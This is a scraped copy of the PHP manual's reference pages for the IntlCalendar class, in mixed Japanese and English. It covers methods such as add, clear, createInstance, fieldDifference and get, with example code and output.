スキップした範囲内の実測時間が夏時間への移行 (開始) を指すことを示す IntlCalendar::getSkippedWallTimeOption() の出力。

目次

  • IntlCalendar::add — Add a (signed) amount of time to a field
  • IntlCalendar::after — Whether this object?s time is after that of the passed object
  • IntlCalendar::before — Whether this object?s time is before that of the passed object
  • IntlCalendar::clear — Clear a field or all fields
  • IntlCalendar::__construct — Private constructor for disallowing instantiation
  • IntlCalendar::createInstance — Create a new IntlCalendar
  • IntlCalendar::equals — Compare time of two IntlCalendar objects for equality
  • IntlCalendar::fieldDifference — Calculate difference between given time and this object?s time
  • IntlCalendar::fromDateTime — Create an IntlCalendar from a DateTime object or string
  • IntlCalendar::get — Get the value for a field
  • IntlCalendar::getActualMaximum — The maximum value for a field, considering the object?s current time
  • IntlCalendar::getActualMinimum — The minimum value for a field, considering the object?s current time
  • IntlCalendar::getAvailableLocales — Get array of locales for which there is data
  • IntlCalendar::getDayOfWeekType — Tell whether a day is a weekday, weekend or a day that has a transition between the two
  • IntlCalendar::getErrorCode — Get last error code on the object
  • IntlCalendar::getErrorMessage — Get last error message on the object
  • IntlCalendar::getFirstDayOfWeek — Get the first day of the week for the calendar?s locale
  • IntlCalendar::getGreatestMinimum — Get the largest local minimum value for a field
  • IntlCalendar::getKeywordValuesForLocale — Get set of locale keyword values
  • IntlCalendar::getLeastMaximum — Get the smallest local maximum for a field
  • IntlCalendar::getLocale — Get the locale associated with the object
  • IntlCalendar::getMaximum — Get the global maximum value for a field
  • IntlCalendar::getMinimalDaysInFirstWeek — Get minimal number of days the first week in a year or month can have
  • IntlCalendar::getMinimum — Get the global minimum value for a field
  • IntlCalendar::getNow — Get number representing the current time
  • IntlCalendar::getRepeatedWallTimeOption — Get behavior for handling repeating wall time
  • IntlCalendar::getSkippedWallTimeOption — Get behavior for handling skipped wall time
  • IntlCalendar::getTime — Get time currently represented by the object
  • IntlCalendar::getTimeZone — Get the object?s timezone
  • IntlCalendar::getType — Get the calendar type
  • IntlCalendar::getWeekendTransition — Get time of the day at which weekend begins or ends
  • IntlCalendar::inDaylightTime — Whether the object?s time is in Daylight Savings Time
  • IntlCalendar::isEquivalentTo — Whether another calendar is equal but for a different time
  • IntlCalendar::isLenient — Whether date/time interpretation is in lenient mode
  • IntlCalendar::isSet — Whether a field is set
  • IntlCalendar::isWeekend — Whether a certain date/time is in the weekend
  • IntlCalendar::roll — Add value to field without carrying into more significant fields
  • IntlCalendar::set — Set a time field or several common fields at once
  • IntlCalendar::setFirstDayOfWeek — Set the day on which the week is deemed to start
  • IntlCalendar::setLenient — Set whether date/time interpretation is to be lenient
  • IntlCalendar::setMinimalDaysInFirstWeek — Set minimal number of days the first week in a year or month can have
  • IntlCalendar::setRepeatedWallTimeOption — Set behavior for handling repeating wall times at negative timezone offset transitions
  • IntlCalendar::setSkippedWallTimeOption — Set behavior for handling skipped wall times at positive timezone offset transitions
  • IntlCalendar::setTime — Set the calendar time in milliseconds since the epoch
  • IntlCalendar::setTimeZone — Set the timezone used by this calendar
  • IntlCalendar::toDateTime — Convert an IntlCalendar into a DateTime object

User Contributed Notes

There are no user contributed notes for this page.


Add a (signed) amount of time to a field

  • ≪ IntlCalendar
  • IntlCalendar::after ≫
  • PHP Manual
  • IntlCalendar
  • Add a (signed) amount of time to a field

IntlCalendar::add

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::add — Add a (signed) amount of time to a field

説明

オブジェクト指向型

public IntlCalendar::add ( int $field , int $amount ) : bool

手続き型

intlcal_add ( IntlCalendar $cal , int $field , int $amount ) : bool

Add a signed amount to a field. Adding a positive amount allows advances in time, even if the numeric value of the field decreases (e.g. when working with years in BC dates).

Other fields may need to adjusted - for instance, adding a month to the 31st of January will result in the 28th (or 29th) of February. Contrary to IntlCalendar::roll(), when a value wraps around, more significant fields may change. For instance, adding a day to the 31st of January will result in the 1st of February, not the 1st of January.

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

amount

The signed amount to add to the current field. If the amount is positive, the instant will be moved forward; if it is negative, the instant will be moved into the past. The unit is implicit to the field type. For instance, hours for IntlCalendar::FIELD_HOUR_OF_DAY.

返り値

Returns true on success失敗した場合に false を返します.

例

例1 IntlCalendar::add()

<?php
ini_set('intl.default_locale', 'fr_FR');
ini_set('date.timezone', 'UTC');

$cal = new IntlGregorianCalendar(2012, 0 /* January */, 31);
echo IntlDateFormatter::formatObject($cal), "\n";

$cal->add(IntlCalendar::FIELD_MONTH, 1);
echo IntlDateFormatter::formatObject($cal), "\n";

$cal->add(IntlCalendar::FIELD_DAY_OF_MONTH, 1);
echo IntlDateFormatter::formatObject($cal), "\n";

上の例の出力は以下となります。

31 janv. 2012 00:00:00
29 fevr. 2012 00:00:00
1 mars 2012 00:00:00

User Contributed Notes

There are no user contributed notes for this page.


Whether this object?s time is after that of the passed object

  • ≪ IntlCalendar::add
  • IntlCalendar::before ≫
  • PHP Manual
  • IntlCalendar
  • Whether this object?s time is after that of the passed object

IntlCalendar::after

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::after — Whether this object?s time is after that of the passed object

説明

オブジェクト指向型

public IntlCalendar::after ( IntlCalendar $other ) : bool

手続き型

intlcal_after ( IntlCalendar $cal , IntlCalendar $other ) : bool

Returns whether this object?s time succeeds the argument?s time.

パラメータ

cal

The IntlCalendar resource.

other

The calendar whose time will be checked against the primary object?s time.

返り値

Returns true if this object?s current time is after that of the calendar argument?s time. Returns false otherwise. Also returns false on failure. You can use exceptions or intl_get_error_code() to detect error conditions.

例

例1 IntlCalendar::after()

<?php
$cal1 = IntlCalendar::createInstance();
$cal2 = clone $cal1;

var_dump($cal1->after($cal2), //false
        $cal2->after($cal1)); //false

$cal1->roll(IntlCalendar::FIELD_MILLISECOND, true);

var_dump($cal1->after($cal2), //true
        $cal2->after($cal1)); //false

User Contributed Notes

There are no user contributed notes for this page.


Whether this object?s time is before that of the passed object

  • ≪ IntlCalendar::after
  • IntlCalendar::clear ≫
  • PHP Manual
  • IntlCalendar
  • Whether this object?s time is before that of the passed object

IntlCalendar::before

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::before — Whether this object?s time is before that of the passed object

説明

オブジェクト指向型

public IntlCalendar::before ( IntlCalendar $other ) : bool

手続き型

intlcal_before ( IntlCalendar $cal , IntlCalendar $other ) : bool

Returns whether this object?s time precedes the argument?s time.

パラメータ

cal

The IntlCalendar resource.

other

The calendar whose time will be checked against the primary object?s time.

返り値

Returns true if this object?s current time is before that of the calendar argument?s time. Returns false otherwise. Also returns false on failure. You can use exceptions or intl_get_error_code() to detect error conditions.

User Contributed Notes

There are no user contributed notes for this page.


Clear a field or all fields

  • ≪ IntlCalendar::before
  • IntlCalendar::__construct ≫
  • PHP Manual
  • IntlCalendar
  • Clear a field or all fields

IntlCalendar::clear

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::clear — Clear a field or all fields

説明

オブジェクト指向型

public IntlCalendar::clear ( int $field = NULL ) : bool

手続き型

intlcal_clear ( IntlCalendar $cal , int $field = NULL ) : bool

Clears either all of the fields or a specific field. A cleared field is marked as unset, giving it the lowest priority against overlapping fields or even default values when calculating the time. Additionally, its value is set to 0, though given the field?s low priority, its value may have been internally set to another value by the time the field has finished been queried.

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

返り値

Returns true on success失敗した場合に false を返します. Failure can only occur is invalid arguments are provided.

例

例1 IntlCalendar::clear() examples

<?php
ini_set('intl.default_locale', 'es_ES');
ini_set('date.timezone', 'UTC');

$fields = array(
    'FIELD_ERA'                  => 0,
    'FIELD_YEAR'                 => 1,
    'FIELD_MONTH'                => 2,
    'FIELD_WEEK_OF_YEAR'         => 3,
    'FIELD_WEEK_OF_MONTH'        => 4,
    'FIELD_DATE'                 => 5,
    'FIELD_DAY_OF_YEAR'          => 6,
    'FIELD_DAY_OF_WEEK'          => 7,
    'FIELD_DAY_OF_WEEK_IN_MONTH' => 8,
    'FIELD_AM_PM'                => 9,
    'FIELD_HOUR'                 => 10,
    'FIELD_HOUR_OF_DAY'          => 11,
    'FIELD_MINUTE'               => 12,
    'FIELD_SECOND'               => 13,
    'FIELD_MILLISECOND'          => 14,
    'FIELD_ZONE_OFFSET'          => 15,
    'FIELD_DST_OFFSET'           => 16,
    'FIELD_YEAR_WOY'             => 17,
    'FIELD_DOW_LOCAL'            => 18,
    'FIELD_EXTENDED_YEAR'        => 19,
    'FIELD_JULIAN_DAY'           => 20,
    'FIELD_MILLISECONDS_IN_DAY'  => 21,
    'FIELD_IS_LEAP_MONTH'        => 22,
    'FIELD_FIELD_COUNT'          => 23,
);
function getSetFields(IntlCalendar $cal) {
    global $fields;
    $ret = array();
    foreach ($fields as $name => $value) {
        if ($cal->isSet($value)) {
            $ret[] = $name;
        }
    }
    return $ret;
}

$cal = new IntlGregorianCalendar(2013, 2 /* March */, 15);
echo "After GregorianCalendar creation\n";
print_r(getSetFields($cal));
echo "\n";

echo IntlDateFormatter::formatObject($cal), "\n";
echo "After the formatter requested the extended year\n";
print_r(getSetFields($cal));
echo "\n";

$cal->clear(IntlCalendar::FIELD_YEAR);
echo "After the year has been cleared, the date stays the same\n";
echo IntlDateFormatter::formatObject($cal), "\n";
echo "because FIELD_EXTENDED_YEAR is still set\n";
print_r(getSetFields($cal));
echo "\n";

var_dump($cal->clear(IntlCalendar::FIELD_EXTENDED_YEAR));
echo "After the extended year has been cleared\n";
print_r(getSetFields($cal));
echo IntlDateFormatter::formatObject($cal), "\n";
echo "\n";

echo "After the fields are recalculated,\n"
        . " extended year is set again (to 1970)\n";
print_r(getSetFields($cal));
echo "\n";

$cal->clear();
echo "After calling variant with no arguments\n";
print_r(getSetFields($cal));
echo IntlDateFormatter::formatObject($cal), "\n";

上の例の出力は以下となります。

After GregorianCalendar creation
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_YEAR
    [2] => FIELD_MONTH
    [3] => FIELD_DATE
)

15/03/2013 00:00:00
After the formatter requested the extended year
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_YEAR
    [2] => FIELD_MONTH
    [3] => FIELD_DATE
    [4] => FIELD_EXTENDED_YEAR
)

After the year has been cleared, the date stays the same
15/03/2013 00:00:00
because FIELD_EXTENDED_YEAR is still set
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
    [3] => FIELD_EXTENDED_YEAR
)

bool(true)
After the extended year has been cleared
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
)
15/03/1970 00:00:00

After the fields are recalculated,
 extended year is set again (to 1970)
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
    [3] => FIELD_EXTENDED_YEAR
)

After calling variant with no arguments
Array
(
)
01/01/1970 00:00:00

User Contributed Notes

There are no user contributed notes for this page.


Private constructor for disallowing instantiation

  • ≪ IntlCalendar::clear
  • IntlCalendar::createInstance ≫
  • PHP Manual
  • IntlCalendar
  • Private constructor for disallowing instantiation

IntlCalendar::__construct

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::__construct — Private constructor for disallowing instantiation

説明

private IntlCalendar::__construct ( )

A private constructor for disallowing instantiation with the new operator.

Call IntlCalendar::createInstance() instead.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Create a new IntlCalendar

  • ≪ IntlCalendar::__construct
  • IntlCalendar::equals ≫
  • PHP Manual
  • IntlCalendar
  • Create a new IntlCalendar

IntlCalendar::createInstance

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::createInstance — Create a new IntlCalendar

説明

オブジェクト指向型

public static IntlCalendar::createInstance ( mixed $timeZone = NULL , string $locale = "" ) : IntlCalendar

手続き型

intlcal_create_instance ( mixed $timeZone = NULL , string $locale = "" ) : IntlCalendar

Given a timezone and locale, this method creates an IntlCalendar object. This factory method may return a subclass of IntlCalendar.

The calendar created will represent the time instance at which it was created, based on the system time. The fields can all be cleared by calling IntCalendar::clear() with no arguments. See also IntlGregorianCalendar::__construct().

パラメータ

timeZone

The timezone to use.

  • null。この場合はデフォルトのタイムゾーンを使います。デフォルトは、ini 項目 date.timezone で設定したものか、 date_default_timezone_set() 関数で指定したもの (そして date_default_timezone_get() が返すもの) になります。

  • IntlTimeZone。これを直接使います。

  • DateTimeZone。その識別子を取り出して、ICU タイムゾーンオブジェクトを作ります。 つまり、これは ICU のデータベースに基づくタイムゾーンとなり、PHP のタイムゾーンデータベースに基づくものではありません。

  • 文字列。ICU タイムゾーン識別子として有効なものを指定します。 IntlTimeZone::createTimeZoneIDEnumeration() を参照ください。 "GMT+08:30" などのオフセットも指定できます。

locale

A locale to use or null to use the default locale.

返り値

The created IntlCalendar instance or null on failure.

例

例1 IntlCalendar::createInstance()

<?php
ini_set('intl.default_locale', 'es_ES');
ini_set('date.timezone', 'Europe/Madrid');

$cal = IntlCalendar::createInstance();
echo "No arguments\n";
var_dump(get_class($cal),
        IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));
echo "\n";

echo "Explicit timezone\n";
$cal = IntlCalendar::createInstance(IntlTimeZone::getGMT());
var_dump(get_class($cal),
        IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));
echo "\n";

echo "Explicit locale (with calendar)\n";
$cal = IntlCalendar::createInstance(NULL, 'es_ES@calendar=persian');
var_dump(get_class($cal),
        IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));

上の例の出力は以下となります。

No arguments
string(21) "IntlGregorianCalendar"
string(68) "martes 18 de junio de 2013 14:11:02 Hora de verano de Europa Central"

Explicit timezone
string(21) "IntlGregorianCalendar"
string(45) "martes 18 de junio de 2013 12:11:02 GMT+00:00"

Explicit locale (with calendar)
string(12) "IntlCalendar"
string(70) "martes 28 de Khordad de 1392 14:11:02 Hora de verano de Europa Central"

参考

  • IntlGregorianCalendar::__construct() - Create the Gregorian Calendar class

User Contributed Notes

There are no user contributed notes for this page.


Compare time of two IntlCalendar objects for equality

  • ≪ IntlCalendar::createInstance
  • IntlCalendar::fieldDifference ≫
  • PHP Manual
  • IntlCalendar
  • Compare time of two IntlCalendar objects for equality

IntlCalendar::equals

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::equals — Compare time of two IntlCalendar objects for equality

説明

オブジェクト指向型

public IntlCalendar::equals ( IntlCalendar $other ) : bool

手続き型

intlcal_equals ( IntlCalendar $cal , IntlCalendar $other ) : bool

Returns true if this calendar and the given calendar have the same time. The settings, calendar types and field states do not have to be the same.

パラメータ

cal

The IntlCalendar resource.

other

The calendar to compare with the primary object.

返り値

Returns true if the current time of both this and the passed in IntlCalendar object are the same, or false otherwise. The value false can also be returned on failure. This can only happen if bad arguments are passed in. In any case, the two cases can be distinguished by calling intl_get_error_code().

例

例1 IntlCalendar::equals()

<?php
ini_set('date.timezone', 'UTC');

$cal1 = IntlCalendar::createInstance(NULL, 'es_ES');
$cal2 = clone $cal1;

var_dump($cal1->equals($cal2)); //TRUE

//The locale is not included in the comparison
$cal2 = IntlCalendar::createInstance(NULL, 'pt_PT');
$cal2->setTime($cal1->getTime());
var_dump($cal1->equals($cal2)); //TRUE

//And set fields state is not included as well
$cal2->clear(IntlCalendar::FIELD_YEAR);
var_dump($cal1->isSet(IntlCalendar::FIELD_YEAR) ==
        $cal2->isSet(IntlCalendar::FIELD_YEAR)); //FALSE
var_dump($cal1->equals($cal2)); //TRUE

//Neither is the calendar type
$cal2 = IntlCalendar::createInstance(NULL, 'es_ES@calendar=islamic');
$cal2->setTime($cal1->getTime());
var_dump($cal1->equals($cal2)); //TRUE

//Only the time is
$cal2 = clone $cal1;
$cal2->setTime($cal1->getTime() + 1.);
var_dump($cal1->equals($cal2)); //FALSE

User Contributed Notes

There are no user contributed notes for this page.


Calculate difference between given time and this object?s time

  • ≪ IntlCalendar::equals
  • IntlCalendar::fromDateTime ≫
  • PHP Manual
  • IntlCalendar
  • Calculate difference between given time and this object?s time

IntlCalendar::fieldDifference

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::fieldDifference — Calculate difference between given time and this object?s time

説明

オブジェクト指向型

public IntlCalendar::fieldDifference ( float $when , int $field ) : int|false

手続き型

intlcal_field_difference ( IntlCalendar $cal , float $when , int $field ) : int|false

Return the difference between the given time and the time this object is set to, with respect to the quantity specified the field parameter.

This method is meant to be called successively, first with the most significant field of interest down to the least significant field. To this end, as a side effect, this calendar?s value for the field specified is advanced by the amount returned.

パラメータ

cal

The IntlCalendar resource.

when

The time against which to compare the quantity represented by the field. For the result to be positive, the time given for this parameter must be ahead of the time of the object the method is being invoked on.

field

The field that represents the quantity being compared.

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

返り値

Returns a (signed) difference of time in the unit associated with the specified field失敗した場合に false を返します.

例

例1 IntlCalendar::fieldDifference()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'fr_FR');

$cal1 = IntlCalendar::fromDateTime('2012-02-29 09:00:11');
$cal2 = IntlCalendar::fromDateTime('2013-03-01 09:19:29');
$time = $cal2->getTime();

echo "Time before: ", IntlDateFormatter::formatObject($cal1), "\n";

printf(
    "The difference in time is %d year(s), %d month(s), "
  . "%d day(s), %d hour(s) and %d minute(s)\n",
    $cal1->fieldDifference($time, IntlCalendar::FIELD_YEAR),
    $cal1->fieldDifference($time, IntlCalendar::FIELD_MONTH),
    $cal1->fieldDifference($time, IntlCalendar::FIELD_DAY_OF_MONTH),
    $cal1->fieldDifference($time, IntlCalendar::FIELD_HOUR_OF_DAY),
    $cal1->fieldDifference($time, IntlCalendar::FIELD_MINUTE)
);

//now it was advanced to the target time, exception for the seconds,
//for which we did not measure the difference
echo "Time after: ", IntlDateFormatter::formatObject($cal1), "\n";

上の例の出力は以下となります。

Time before: 29 fevr. 2012 09:00:11
The difference in time is 1 year(s), 0 month(s), 1 day(s), 0 hour(s) and 19 minute(s)
Time after: 1 mars 2013 09:19:11

User Contributed Notes

There are no user contributed notes for this page.


Create an IntlCalendar from a DateTime object or string

  • ≪ IntlCalendar::fieldDifference
  • IntlCalendar::get ≫
  • PHP Manual
  • IntlCalendar
  • Create an IntlCalendar from a DateTime object or string

IntlCalendar::fromDateTime

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a2)

IntlCalendar::fromDateTime — Create an IntlCalendar from a DateTime object or string

説明

オブジェクト指向型

public static IntlCalendar::fromDateTime ( mixed $dateTime ) : IntlCalendar

手続き型

intlcal_from_date_time ( mixed $dateTime ) : IntlCalendar

Creates an IntlCalendar object either from a DateTime object or from a string from which a DateTime object can be built.

The new calendar will represent not only the same instant as the given DateTime (subject to precision loss for dates very far into the past or future), but also the same timezone (subject to the caveat that different timezone databases will be used, and therefore the results may differ).

パラメータ

dateTime

A DateTime object or a string that can be passed to DateTime::__construct().

返り値

The created IntlCalendar object or null in case of failure. If a string is passed, any exception that occurs inside the DateTime constructor is propagated.

例

例1 IntlCalendar::fromDateTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

//same as IntlCalendar::fromDateTime(new DateTime(...))
$cal1 = IntlCalendar::fromDateTime('2013-02-28 00:01:02 Europe/Berlin');

//Note the timezone is Europe/Berlin, not the default Europe/Lisbon
echo IntlDateFormatter::formatObject($cal1, 'yyyy MMMM d HH:mm:ss VVVV', 'de_DE'), "\n";

上の例の出力は以下となります。

2013 Februar 28 00:01:02 Deutschland Zeit

User Contributed Notes

SenseException 23-Feb-2014 02:06
Don't forget that fromDateTime() doesn't set any locale and that the default one will be set. In my case it was en_US_POSIX.

If you wan't to create a IntlCalendar object containing the values of a DateTime object with your locale, use createInstance() instead and do a

<?php
$intlCalendar->setTime($dateTime->getTimestamp() * 1000);
?>

IntlCalendar works with milliseconds so you need to multiply the timestamp with 1000.

Using fromDateTime() can cause unwanted behaviour like getFirstDayOfWeek() returning a wrong integer.


Get the value for a field

  • ≪ IntlCalendar::fromDateTime
  • IntlCalendar::getActualMaximum ≫
  • PHP Manual
  • IntlCalendar
  • Get the value for a field

IntlCalendar::get

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::get — Get the value for a field

説明

オブジェクト指向型

public IntlCalendar::get ( int $field ) : int

手続き型

intlcal_get ( IntlCalendar $cal , int $field ) : int

Gets the value for a specific field.

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

返り値

An integer with the value of the time field.

例

例1 IntlCalendar::get()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$class = new ReflectionClass('IntlCalendar');
$fields = array();
foreach ($class->getConstants() as $name => $val) {
    if (strpos($name, 'FIELD_') !== 0 || $val > 22)
        continue;
    $fields[$val] = $name;
}

$cal = IntlCalendar::createInstance(); // current time
var_dump(IntlDateFormatter::formatObject($cal));
foreach ($fields as $val => $name) {
    echo "$val ($name)", "\n    ", $cal->get($val), "\n";
}

上の例の出力は以下となります。

string(23) "Jul 1, 2013, 4:44:44 AM"
0 (FIELD_ERA)
    1
1 (FIELD_YEAR)
    2013
2 (FIELD_MONTH)
    6
3 (FIELD_WEEK_OF_YEAR)
    27
4 (FIELD_WEEK_OF_MONTH)
    1
5 (FIELD_DAY_OF_MONTH)
    1
6 (FIELD_DAY_OF_YEAR)
    182
7 (FIELD_DAY_OF_WEEK)
    2
8 (FIELD_DAY_OF_WEEK_IN_MONTH)
    1
9 (FIELD_AM_PM)
    0
10 (FIELD_HOUR)
    4
11 (FIELD_HOUR_OF_DAY)
    4
12 (FIELD_MINUTE)
    44
13 (FIELD_SECOND)
    44
14 (FIELD_MILLISECOND)
    551
15 (FIELD_ZONE_OFFSET)
    0
16 (FIELD_DST_OFFSET)
    3600000
17 (FIELD_YEAR_WOY)
    2013
18 (FIELD_DOW_LOCAL)
    2
19 (FIELD_EXTENDED_YEAR)
    2013
20 (FIELD_JULIAN_DAY)
    2456475
21 (FIELD_MILLISECONDS_IN_DAY)
    17084551
22 (FIELD_IS_LEAP_MONTH)
    0

User Contributed Notes

There are no user contributed notes for this page.


The maximum value for a field, considering the object?s current time

  • ≪ IntlCalendar::get
  • IntlCalendar::getActualMinimum ≫
  • PHP Manual
  • IntlCalendar
  • The maximum value for a field, considering the object?s current time

IntlCalendar::getActualMaximum

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getActualMaximum — The maximum value for a field, considering the object?s current time

説明

オブジェクト指向型

public IntlCalendar::getActualMaximum ( int $field ) : int|false

手続き型

intlcal_get_actual_maximum ( IntlCalendar $cal , int $field ) : int|false

Returns a field?s relative maximum value around the current time. The exact semantics vary by field, but in the general case this is the value that would be obtained if one would set the field value into the smallest relative maximum for the field and would increment it until reaching the global maximum or the field value wraps around, in which the value returned would be the global maximum or the value before the wrapping, respectively.

For instance, in the gregorian calendar, the actual maximum value for the day of month would vary between 28 and 31, depending on the month and year of the current time.

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

返り値

An int representing the maximum value in the units associated with the given field失敗した場合に false を返します.

例

例1 IntlCalendar::getActualMaximum()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

$cal = IntlCalendar::fromDateTime('2013-02-15');
var_dump($cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH)); //28

$cal->add(IntlCalendar::FIELD_EXTENDED_YEAR, -1);
var_dump($cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH)); //29

上の例の出力は以下となります。

int(28)
int(29)

参考

  • IntlCalendar::getMaximum() - Get the global maximum value for a field
  • IntlCalendar::getLeastMaximum() - Get the smallest local maximum for a field
  • IntlCalendar::getActualMinimum() - The minimum value for a field, considering the object?s current time

User Contributed Notes

There are no user contributed notes for this page.


The minimum value for a field, considering the object?s current time

  • ≪ IntlCalendar::getActualMaximum
  • IntlCalendar::getAvailableLocales ≫
  • PHP Manual
  • IntlCalendar
  • The minimum value for a field, considering the object?s current time

IntlCalendar::getActualMinimum

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getActualMinimum — The minimum value for a field, considering the object?s current time

説明

オブジェクト指向型

public IntlCalendar::getActualMinimum ( int $field ) : int|false

手続き型

intlcal_get_actual_minimum ( IntlCalendar $cal , int $field ) : int|false

Returns a field?s relative minimum value around the current time. The exact semantics vary by field, but in the general case this is the value that would be obtained if one would set the field value into the greatest relative minimum for the field and would decrement it until reaching the global minimum or the field value wraps around, in which the value returned would be the global minimum or the value before the wrapping, respectively.

For the Gregorian calendar, this is always the same as IntlCalendar::getMinimum().

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

返り値

An int representing the minimum value in the field?s unit失敗した場合に false を返します.

参考

  • IntlCalendar::getMinimum() - Get the global minimum value for a field
  • IntlCalendar::getGreatestMinimum() - Get the largest local minimum value for a field
  • IntlCalendar::getActualMaximum() - The maximum value for a field, considering the object?s current time

User Contributed Notes

There are no user contributed notes for this page.


Get array of locales for which there is data

  • ≪ IntlCalendar::getActualMinimum
  • IntlCalendar::getDayOfWeekType ≫
  • PHP Manual
  • IntlCalendar
  • Get array of locales for which there is data

IntlCalendar::getAvailableLocales

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getAvailableLocales — Get array of locales for which there is data

説明

オブジェクト指向型

public static IntlCalendar::getAvailableLocales ( ) : array

手続き型

intlcal_get_available_locales ( ) : array

Gives the list of locales for which calendars are installed. As of ICU 51, this is the list of all installed ICU locales.

パラメータ

この関数にはパラメータはありません。

返り値

An array of strings, one for which locale.

例

例1 IntlCalendar::getAvailableLocales()

<?php
print_r(IntlCalendar::getAvailableLocales());

上の例の出力は以下となります。

Array
(
    [0] => af
    [1] => af_NA
    [2] => af_ZA
    [3] => agq
    [4] => agq_CM
    [5] => ak
    [6] => ak_GH
    [7] => am
    [8] => am_ET
    [9] => ar
    [10] => ar_001
    [11] => ar_AE
    [12] => ar_BH
    [13] => ar_DJ
    ... output abbreviated ...
    [595] => zh_Hant_HK
    [596] => zh_Hant_MO
    [597] => zh_Hant_TW
    [598] => zu
    [599] => zu_ZA
)

User Contributed Notes

There are no user contributed notes for this page.


Tell whether a day is a weekday, weekend or a day that has a transition between the two

  • ≪ IntlCalendar::getAvailableLocales
  • IntlCalendar::getErrorCode ≫
  • PHP Manual
  • IntlCalendar
  • Tell whether a day is a weekday, weekend or a day that has a transition between the two

IntlCalendar::getDayOfWeekType

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getDayOfWeekType — Tell whether a day is a weekday, weekend or a day that has a transition between the two

説明

オブジェクト指向型

public IntlCalendar::getDayOfWeekType ( int $dayOfWeek ) : int|false

手続き型

intlcal_get_day_of_week_type ( IntlCalendar $cal , int $dayOfWeek ) : int|false

Returns whether the passed day is a weekday (IntlCalendar::DOW_TYPE_WEEKDAY), a weekend day (IntlCalendar::DOW_TYPE_WEEKEND), a day during which a transition occurs into the weekend (IntlCalendar::DOW_TYPE_WEEKEND_OFFSET) or a day during which the weekend ceases (IntlCalendar::DOW_TYPE_WEEKEND_CEASE).

If the return is either
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET or
IntlCalendar::DOW_TYPE_WEEKEND_CEASE, then
IntlCalendar::getWeekendTransition() can be called to
obtain the time of the transition.

This function requires ICU 4.4 or later.

パラメータ

cal

The IntlCalendar resource.

dayOfWeek

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY.

返り値

Returns one of the constants
IntlCalendar::DOW_TYPE_WEEKDAY,
IntlCalendar::DOW_TYPE_WEEKEND,
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET or
IntlCalendar::DOW_TYPE_WEEKEND_CEASE失敗した場合に false を返します.

例

例1 IntlCalendar::getDayOfWeekType()

<?php
foreach (array('en_US', 'ar_SA') as $locale) {
    echo "Locale: ", Locale::getDisplayName($locale, "en_US"), "\n";

    $cal = IntlCalendar::createInstance('UTC', $locale);

    for ($i = IntlCalendar::DOW_SUNDAY; $i <= IntlCalendar::DOW_SATURDAY; $i++) {
        $type = $cal->getDayOfWeekType($i);
        $transition = ($type !== IntlCalendar::DOW_TYPE_WEEKDAY)
            ? $cal->getWeekendTransition($i)
            : '';
        echo $i, " ", $type, " ", $transition, "\n";
    }
    echo "\n";
}
?>

上の例の出力は以下となります。

Locale: English (United States)
1 1 86400000
2 0
3 0
4 0
5 0
6 0
7 1 0

Locale: Arabic (Saudi Arabia)
1 0
2 0
3 0
4 0
5 0
6 1 0
7 1 86400000

User Contributed Notes

There are no user contributed notes for this page.


Get last error code on the object

  • ≪ IntlCalendar::getDayOfWeekType
  • IntlCalendar::getErrorMessage ≫
  • PHP Manual
  • IntlCalendar
  • Get last error code on the object

IntlCalendar::getErrorCode

intlcal_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

